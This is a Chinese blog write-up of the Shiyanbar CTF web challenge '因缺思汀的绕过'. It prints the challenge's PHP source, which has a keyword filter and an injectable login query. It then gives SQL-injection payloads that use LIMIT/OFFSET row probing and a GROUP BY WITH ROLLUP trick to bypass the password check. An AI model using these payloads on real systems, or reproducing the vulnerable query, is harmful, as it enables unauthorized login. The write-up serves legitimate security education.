因缺思汀的绕过——实验吧
因缺思汀的绕过分值：20 来源：pcat 难度：中 参与人数：9534人 Get Flag：3087人 答题人数：3370人 解题通过率：92% 访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码， 请求，响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。 web题主要考察SQL注入，XSS等相关知识。涉及方向较多。此题主要涉及源码审计，MySQL相关的知识。 flag格式 CTF{} 解题链接：http://ctf5.shiyanbar.com/web/pcat/index.php 解题思路：这一题考察的知识点比较多（可能是我不会的太多了QAQ) 首先，打开链接： 查看源代码就会得到： 看来出题人是希望我们能够看到源代码的呀 加上source.txt 就会得到： <?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "水可载舟，亦可赛艇"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可赛艇"; } }else{ print "一颗赛艇"; } mysql_close($con); ?> 从源码可以看到，$filter进行的关键字符筛选仅仅针对$_POST['pwd']， 所以第二行一定不能带被其识别的关键字，如：select 提交就会出现： 我们接着往下看就会发现限制从数据库返回的数据必须是一行， 在满足filter条件的情况下可以使用 limit 的返回来确定数据库中总共有几行数据。 注意它的查询语句是 select * from interest where uname = ‘{$_POST[‘uname’]}’ 于是构造： 1' or 1 limit 1 offset 0# 1' or 1 limit 1 offset 1# 1' or 1 limit 1 offset 2# 发现2#时返回“一颗赛艇！” 其他都是“亦可赛艇！”———–说明数据库只有两条信息 接下来就是想办法绕过if判断，只要if的判断为真就可以通过，于是可以利用group by with rollup来进行绕过， group by with rollup会在统计后的产生一条null的信息，然后在pwd里面就可以不用写值了，if就为真 payload：1' or 1 group by pwd with rollup limit 1 offset 2# 就会得到答案： 参考资料： http://php.net/manual/zh/function.preg-match.php #函数preg_match http://blog.csdn.net/id19870510/article/details/6254358 #使用 GROUP BY WITH ROLLUP 改善统计性能 http://blog.csdn.net/yplee_8/article/details/52252549 #sql 中 limit 与 limit，offset连用的区别 http://www.w3school.com.cn/sql/sql_groupby.asp #SQL GROUP BY 语句 http://blog.csdn.net/jiangnan2014/article/details/17229713 #MySQL中with rollup的用法 http://php.freehostingguru.com/function.php-is_array.php #函数is_array http://www.w3school.com.cn/php/func_string_implode.asp #函数 implode 您可以考虑给博主来个小小的打赏以资鼓励，您的肯定将是我最大的动力。 作者： 落花四月 出处： https://www.cnblogs.com/lxz-1263030049/ 关于作者：潜心于网络安全学习。如有问题或建议，请多多赐教！ 版权声明：本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接. 特此声明：所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误，共同进步。或者直接私信我 声援博主：如果您觉得文章对您有帮助，可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力！
